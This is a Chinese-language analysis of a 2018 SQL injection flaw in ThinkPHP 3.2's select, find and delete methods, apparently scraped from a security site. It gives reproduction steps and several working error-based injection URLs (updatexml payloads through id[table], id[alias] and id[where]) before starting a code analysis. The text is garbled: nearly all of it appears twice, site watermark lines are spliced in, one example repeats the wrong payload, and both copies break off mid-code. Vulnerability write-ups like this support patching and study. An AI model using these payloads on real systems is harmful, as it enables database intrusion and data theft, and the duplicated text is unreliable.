ThinkPHP3.2 框架sql注入漏洞分析(最新)
北京时间 2018年8月23号11:25分 星期四,tp团队对于已经停止更新的thinkphp 3系列进行了一处安全更新,经过分析,此次更新修正了由于select(),find(),delete()方法可能会传入数组类型数据产生的多个sql注入隐患。
0x01 漏洞复现
下载源码:
git clone https://github.com/top-think/thinkphp.git
使用git checkout 命令将版本回退到上一次commit:
git checkout 109bf30254a38651c21837633d9293a4065c300b
使用phpstudy等集成工具搭建thinkphp,修改apache的配置文件httpd-conf
DocumentRoot “” 为thinkphp所在的目录。
重启phpstudy,访问127.0.0.1,输出thinkphp的欢迎信息,表示thinkphp已正常运行。
搭建数据库,数据库为tptest,表为user,表里面有三个字段id,username,pass
修改Application\Common\Conf\config.php配置文件,添加数据库配置信息。
之后在Application\Home\Controller\IndexController.class.php 添加以下代码:
public function test()
{
$id = i('id');
$res = M('user')->find($id);
//$res = M('user')->delete($id);
//$res = M('user')->select($id);
}
针对select() 和find()方法 ,有很多地方可注,这里主要列举三个table,alias,where,更多还请自行跟踪一下parseSql的各个parseXXX方法,目测都是可行的,比如having,group等。
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
而delete()方法的话同样,这里粗略举三个例子,table,alias,where,但使用table和alias的时候,同时还必须保证where不为空(详细原因后面会说)
where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
0x02 漏洞分析
通过github上的commit 对比其实可以粗略知道,此次更新主要是在ThinkPHP/Library/Think/Model.class.php文件中,其中对于delete,find,select三个函数进行了修改。
delete函数
select函数
find函数
对比三个方法修改的地方都有一个共同点:
把外部传进来的$options,修改为$this->options,同时不再使用$this->_parseOptions对于$options进行表达式分析。
思考是因为$options可控,再经过_parseOptions函数之后产生了sql注入。
一 select 和 find 函数
以find函数为例进行分析(select代码类似),该函数可接受一个$options参数,作为查询数据的条件。
当$options为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段:
if (is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
北京时间 2018年8月23号11:25分 星期四,tp团队对于已经停止更新的thinkphp 3系列进行了一处安全更新,经过分析,此次更新修正了由于select(),find(),delete()方法可能会传入数组类型数据产生的多个sql注入隐患。
0x01 漏洞复现
下载源码:
git clone https://github.com/top-think/thinkphp.git
使用git checkout 命令将版本回退到上一次commit:
git checkout 109bf30254a38651c21837633d9293a4065c300b
使用phpstudy等集成工具搭建thinkphp,修改apache的配置文件httpd-conf
DocumentRoot “” 为thinkphp所在的目录。
重启phpstudy,访问127.0.0.1,输出thinkphp的欢迎信息,表示thinkphp已正常运行。
本文来自无奈人生安全网
搭建数据库,数据库为tptest,表为user,表里面有三个字段id,username,pass
修改Application\Common\Conf\config.php配置文件,添加数据库配置信息。
之后在Application\Home\Controller\IndexController.class.php 添加以下代码:
public function test()
{
$id = i('id');
$res = M('user')->find($id);
//$res = M('user')->delete($id);
//$res = M('user')->select($id);
}
针对select() 和find()方法 ,有很多地方可注,这里主要列举三个table,alias,where,更多还请自行跟踪一下parseSql的各个parseXXX方法,目测都是可行的,比如having,group等。 本文来自无奈人生安全网
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
而delete()方法的话同样,这里粗略举三个例子,table,alias,where,但使用table和alias的时候,同时还必须保证where不为空(详细原因后面会说)
where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
copyright 无奈人生
0x02 漏洞分析
通过github上的commit 对比其实可以粗略知道,此次更新主要是在ThinkPHP/Library/Think/Model.class.php文件中,其中对于delete,find,select三个函数进行了修改。
delete函数
select函数
find函数
对比三个方法修改的地方都有一个共同点:
把外部传进来的$options,修改为$this->options,同时不再使用$this->_parseOptions对于$options进行表达式分析。
思考是因为$options可控,再经过_parseOptions函数之后产生了sql注入。
一 select 和 find 函数
以find函数为例进行分析(select代码类似),该函数可接受一个$options参数,作为查询数据的条件。
当$options为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段:
if (is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();